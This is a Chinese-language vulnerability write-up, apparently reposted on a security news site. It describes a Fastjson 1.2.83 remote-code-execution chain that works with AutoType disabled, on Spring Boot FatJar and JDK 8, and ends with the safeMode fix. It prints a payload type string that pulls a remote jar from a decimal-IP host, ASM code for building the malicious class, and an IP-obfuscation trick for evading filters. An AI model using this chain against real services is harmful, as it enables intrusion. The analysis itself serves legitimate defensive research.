Fastjson1.2.83终极RCE:AutoType关了也没用?

admin 2026-08-09 05:06:00 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文揭示Fastjson1.2.83在AutoType关闭且未开启safeMode时,结合SpringBootFatJar与JDK8环境,存在一条绕过所有黑名单的新RCE攻击链。攻击者通过构造特殊@typeURL,利用@JSONType注解信任分支和LaunchedURLClassLoader的fallback机制远程加载恶意类实现代码执行。核心防御是开启safeMode。 综合评分: 88 文章分类: 漏洞分析,红队,渗透测试,安全工具,WEB安全


cover_image

Fastjson 1.2.83 终极 RCE:AutoType 关了也没用?

原创

小黑球员 小黑球员

绿叶 GhostShield

2026年7月27日 21:21 北京

在小说阅读器读本章

去阅读

一条绕过所有黑名单、不依赖AutoType的新攻击链,纯库一键RCE

先说结论

Fastjson 1.2.83,AutoType 关闭,safeMode 没开,Spring Boot 经典 FatJar,JDK 8——这个组合下,攻击者只靠一句 JSON.parse(payload) 就能远程执行任意代码。

不需要 JdbcRowSetImpl,不需要 TemplatesImpl,不依赖任何已知黑名单 gadget。执行点就在 parse 阶段的远程类 ,属于”纯库一键 RCE”,门槛极低。

背景:Fastjson 的十年攻防

Fastjson 是阿里巴巴开源的高性能 JSON 库,长期霸占 Java 生态 JSON 库使用量榜首。它最著名也最危险的特性是AutoType——允许在 JSON 里用 @type 指定反序列化目标类。

从 1.2.24 到 1.2.83,官方一路打补丁:

黑名单 → 白名单 → autoType 默认关闭 → safeMode 终极防御

到了 1.2.83,很多人的安全结论变成了:”只要不开 AutoType 就安全。”

但这个结论漏掉了一个变量。

影响范围

漏洞原理:被忽略的 @JSONType 信任分支

当 AutoType 关闭时,checkAutoType 内部仍保留了一条资源探测路径:

攻击者的思路非常精妙:

把 @type 拼成 jar:http://攻击者/probe!/POC 形态的 URL

在 Spring Boot FatJar(LaunchedURLClassLoader)+ JDK 8 环境下,目标进程会远程拉取 jar、defineClass、触发 ——完成 RCE。

攻击者 ──POST @type:jar:http://...!/POC──▶ Spring Boot FatJar 目标 │ (fastjson 1.2.83, autoType 关闭) ▼ LaunchedURLClassLoader │ 远程拉取 jar ◀── 攻击者 HTTP Server │ ▼ defineClass + 触发  │ ▼ RCE 💀

关键技巧一:ASM 生成”非法类名”

这是整条攻击链最重要的技术前提。

为什么必须用 ASM?

PoC 远程类的类名被故意写成:

jar:http:..2130706433:18080.probe!.POC

包含 :、/、!——全部不是 Java 合法标识符。javac 在语法分析阶段就报错了:

Java 源码: public class jar:http://...!/POC { } ↓ javac ✗ 语法错误:需要 '{'(: / ! 非法标识符) ASM ClassWriter: writer.visit(V1_8, ACC_PUBLIC, ”jar:http://2130706433:18080/probe!/POC”, ...) ↓ ✓ 直接写入 class 字节码常量池,无任何合法性校验

javac 永远产不出这种 class。必须用 ASM 直接写字节码。

三态对齐:为什么这个非法名是命门?

类名必须在三个层面完全一致,整条链才能精密咬合:

① @type 值 (. 形态) jar:http:..2130706433:18080.probe!.POC │ replace('.', '/') + '.class' ▼② 资源名 (/ 形态,用于 getResource) jar:http://2130706433:18080/probe!/POC.class │ 字节码 this_class(ASM 写入常量池) ▼③ internalName (/ 形态) jar:http://2130706433:18080/probe!/POC │ defineClass name 参数 ▼④ typeName (. 形态,无斜杠) jar:http:..2130706433:18080.probe!.POC

四个字符串是同一条 URL 的不同字形,缺一环整条链就断。

🔢 彩蛋:2130706433 是怎么算出来的?

Payload 用 2130706433 而非 127.0.0.1,是为了规避肉眼识别和部分 IP 过滤。

IPv4 地址的整数表示公式:

整数IP = A × 256³ + B × 256² + C × 256¹ + D × 256⁰

其中 A、B、C、D 是 IP 地址的四个段。

以 127.0.0.1 为例:

127 × 256³ = 127 × 16,777,216 = 2,130,706,432 0 × 256² = 0 × 65,536 = 0 0 × 256¹ = 0 × 256 = 0 1 × 256⁰ = 1 × 1 = 1────────────────────────────────────────────────── 合计 = 2,130,706,433

本质上就是32 位网络字节序(大端 Big-Endian):

127 → 0x7F 0 → 0x00 0 → 0x00 1 → 0x01 拼接:0x7F000001 = 2,130,706,433

在 Java 中可以用 InetAddress 配合位运算得出,也可以反过来用 InetAddress.getByName(“2130706433”) 还原出 127.0.0.1。绕过的原理就是很多 WAF 和日志系统不会把纯数字认成 IP。

关键技巧二:@JSONType 注解 —— 打开信任之门的钥匙

PoC 用 ASM 在远程类上加了这个注解:

writer.visitAnnotation( ”Lcom/alibaba/fastjson/annotation/JSONType;”, true);

在 AutoType 关闭的情况下,这是唯一能走到 loadClass 的通行证:

没有 @JSONType,第一步就被拒了。

源码级追踪:从 parse 到 RCE

入口就一句:

JSON.parse(payload);// → DefaultJSONParser.java:343// → clazz = config.checkAutoType(typeName, null, ...);

checkAutoType(ParserConfig.java)内部的完整链路:

① 黑名单扫描 jar:/http:/十进制IP 不命中 → ✓ 放行 │ ▼② 构造资源名 replace('.','/') + '.class' → jar:http://2130706433:18080/probe!/POC.class │ ▼③ getResourceAsStream LaunchedURLClassLoader → jar: Handler fallback → sun.net.www.protocol.jar.Handler → 下载远程 probe.jar ✓(SSRF 已成立) │ ▼④ ClassReader 扫描 hasJsonType() == true ✓ │ ▼⑤ loadClass + defineClass name = typeName(. 形态,无 /) │ ┌───┴───┐ ▼ ▼ JDK 8 JDK 9+ ✅ 成功 ❌ ClassFormatError RCE 💀 仅 SSRF

为什么完整 RCE 必须 JDK 8?

分界点不在 Java 层,而在 HotSpot VM 层。

Java 层:checkName 两版一致,都放行

JDK 8 和 JDK 17 的 ClassLoader.checkName 是一样的逻辑:

private boolean checkName(String name) { if (name.indexOf('/') != -1) return false; // 只拒 '/' if (name.charAt(0) == '[') return false; // 只拒 '[' return true;}// : ! . 一概不管,JDK 8/17 都放行

VM 层:真正的分水岭

实测对照:

结论:RCE 成与不成,纯由 JDK VM 版本决定。

为什么是 Spring Boot 2.7 FatJar?

经典 FatJar 的 LaunchedURLClassLoader 在解析 jar: URL 时有一段关键 fallback:

private static final String[] FALLBACK_HANDLERS = { ”sun.net.www.protocol.jar.Handler” }; protected URLConnection openConnection(URL url) throws IOException { try { return JarURLConnection.get(url, getRootJarFileFromUrl(url)); } catch (Exception ex) { return openFallbackConnection(url, ex); // ← 回退 }}

对于 jar:http://攻击者/probe!/POC.class 这种非本地嵌套 jar URL,它无法解析,于是 fallback 到 JDK 自带的 sun.net.www.protocol.jar.Handler——后者会把内层 http:// 当作 HTTP 请求发出,下载远程 jar。

⚠️ Spring Boot 3.2+ 已删除这段 fallback,不再向远程 http:// 发请求。

防御方案

首选:开启 safeMode

ParserConfig.getGlobalInstance().setSafeMode(true);

或启动参数:

-Dfastjson.parser.safeMode=true

源码确认:checkAutoType:1329 在资源探测和 loadClass 之前直接抛异常——最简单也最有效。

总结

📌 本文为授权安全研究与防御验证,所有 PoC 均在本地隔离环境验证,不执行破坏性命令。请勿用于非法用途。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:绿叶 GhostShield 小黑球员 小黑球员《Fastjson 1.2.83 终极 RCE:AutoType 关了也没用?》

评论:0   参与:  0